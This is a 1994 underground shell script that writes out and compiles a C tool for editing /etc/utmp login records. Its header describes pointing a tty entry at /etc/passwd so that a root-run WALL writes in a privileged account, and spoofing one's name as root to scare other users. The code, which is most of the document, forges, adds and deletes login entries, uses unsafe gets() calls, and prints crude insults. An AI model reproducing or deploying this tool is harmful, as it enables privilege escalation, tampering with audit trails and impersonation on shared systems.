###########################  Beaute - UTE  ##################################
##############################  1994   ######################################
#
# UTMP Editor : Lets you edit the entries in /etc/utmp ....
#               You know ....  the file that 'who' and 'talk' and WALL
#               use.
# Use         : Depending on the rpc.walld being used ... this progi will
#               allow the user to change the the  'tty' to something more
#               usefull like '/etc/passwd', and by using the the WALL
#               command {which writes with root privs}, create a RISKAY
#               user in the passwd file.
#               If you don't like that idea { ie. maybe the rpc.walld dosn't
#               like that sort of intervention } then just change your 
#               user name to 'root' or anybody else you like { This 
#               can really put the shits up somebody you TALK to ... 
#
#  Notes      : This was developed on a SUN.4.* system and will probably need
#               modification for other platforms. 
#
#  ******       A GCC compiler should be on the system and /etc/utmp must be
#               readable / writeable to you when you run it.
#
#     P.S.      The time is calculated in seconds since 1 Jan 1970 ....
#               I ran out of fingers, so you'll have to figure that one out
#               on your own.
#
#  DISCLAIMER  : IF IT DOES SOMETHING YOU DON'T LIKE, KICK THE CAT !!!
#               Please send flames to ANYONE, ... I don't care !
#
#!/bin/sh
cat > ute.c << EOF

#include <stdlib.h>
#include <sys/types.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define UTMP_FILE "/etc/utmp"          /* Define the LOCATION of UTMP FILE */
#define MAX_ENT 100

int Add_Del_or_Edit(void);
int Get_Item_Number(int last);
void Display_Entry(struct utmp U[], int last);
void Edit_Entry(struct utmp U[], int item, int last);



/* Ask user if they want to Add,Delete,Edit or cancel operation. */
int Add_Del_or_Edit()
  {
   char ch;
   printf("\n\n\tA_dd\t\t  D_elete\t\t  E_dit\t\t  C_ancel\n\n=> ");
   for(;;)
     {
      ch = tolower(getchar());
      getchar();
      switch(ch)
        {
         case 'a' : return(3);
                    break;
         case 'd' : return(2);
                    break;
         case 'e' : return(1);
                    break;
         case 'c' : return(0);
                    break;
         default  : {
                     printf("\nIt's really not that hard, DICKHEAD!");
                     printf("\nEnter    A, D, E, or C := ");
                    }
        }
     }/* end for */
  }/* end Add_del_or_edit */


/* Asks user for item number and returns that number. */
int Get_Item_Number(int last)
  {
   int num = 0;
   do{
      printf("\nEnter the Item Number : ");
      scanf("%d",&num);
      getchar();
     }while( (num < 1) || (num > last) );
   return(num);
  }


/* Display an UTMP entry to screen. */
void Display_Entry(struct utmp U[], int last)
  {
   int item;
   system("clear");
   printf("Item     Line\t    Name\t    Host\t\t    Time\n\n");
   for( item=1; item<=last; item++ )
    {
     if( !(item%22) )      /* Stop Screen from running wild */
       {
        printf("\n----- More -----");
        getchar();
        printf("\n");
       }
     printf("%d\t%-10s\t%-10s\t%-20s\t%-10d\n",item,
                                               U[item].ut_line,
                                               U[item].ut_name,
                                               U[item].ut_host,
                                               U[item].ut_time);
    }/*end for*/
   }/*End Display entry. */


/* Edit an utmp entry. */
void Edit_Entry(struct utmp U[], int item, int last)
  {
   int num;
   char ch;
   char LINE[20];       /* be generous .. allow big entries. */
   char NAME[20];
   char HOST[20];
   char TIME[9];
   do
     {
      strcpy(LINE,"");  /* Initialise Temp utmp associated variables. */
      strcpy(NAME,"");
      strcpy(HOST,"");
      strcpy(TIME,"");

      printf("\n\nLine is        : %s \nEnter new Line : ",
                                        U[item].ut_line);
      gets(LINE);
      if( strcmp(LINE,"") != 0 )               /* Allow Default value */
          strcpy(U[item].ut_line,LINE);

      printf("\nName is        : %s \nEnter new Name : ",
                                        U[item].ut_name);
      gets(NAME);
      if( strcmp(NAME,"") != 0 )               /* Allow Default value */
          strcpy(U[item].ut_name,NAME);

      printf("\nHost is        : %s \nEnter new Host : ",
                                        U[item].ut_host);
      gets(HOST);
      if( strcmp(HOST,"") != 0 )                /* Allow Default value */
          strcpy(U[item].ut_host,HOST);


      printf("\nPresent Time is : %d \nEnter new Time  : ",
                                        U[item].ut_time);
      gets(TIME);
      if( strcmp(TIME,"") != 0 )                /* Allow Default value */
          U[item].ut_time = atoi(TIME);

      Display_Entry(U,last);
      printf("\n Is this right ?  (y/n) : ");
      ch = tolower(getchar());
      getchar();
     }while( ch != 'y' );
  }/*end Edit_entry. */



/*****  Edit entries in the UTMP file. *****/
int main()
  {
   struct utmp Entry[MAX_ENT+1];
   off_t position[MAX_ENT+1];
   FILE *fptr;
   int ans;

   char ch;

   if( (fptr=fopen(UTMP_FILE,"r+")) != NULL )
     {
      int last, num, i = 1;            /* Get all /etc/utmp Entries. */
      while( fread(&Entry[i], sizeof (Entry[i]), 1, fptr )  >  0 )
        {
         if( strcmp(Entry[i].ut_line,"") != 0 )/* Skip empty entries. */
           {
            position[i] = ftell(fptr) - (long)(sizeof(Entry[i]));
            i++;
           }
        }/*end while*/
      last = i-1;  /* keep a tab on how many entries there are. */
      position[i] = ftell(fptr);/* Keep track of EOF */

      Display_Entry(Entry,last);

      ans = Add_Del_or_Edit();

      if( ans > 0 )
      {
       switch(ans)  {
        case   1 : {                                 /* Edit an Entry. */
                    num = Get_Item_Number(last);
                    Edit_Entry(Entry,num,last);
                    break;
                   }
        case   2 : {                   /* Clear the entry completely ! */
                    num = Get_Item_Number(last);
                    bzero( (char *)&Entry[num],sizeof(Entry[num]) );
                    break;
                   }
        case   3 : {                            /* Add an utmp entry. */
                    num = last + 1;
                    Edit_Entry(Entry,num,num);
                    break;
                   }
                  }/* End Switch. */
       fseek(fptr, position[num], SEEK_SET);
       fwrite (&Entry[num], sizeof (Entry[num]), 1, fptr);
      }/*end if ans > 0 */
      fclose(fptr);
     }/* end-if file opened ok. */
    else
      {
       printf("\nCould not open file := %s \n", UTMP_FILE);
      }
  return(0);
  }/* End Main Utmp action. */
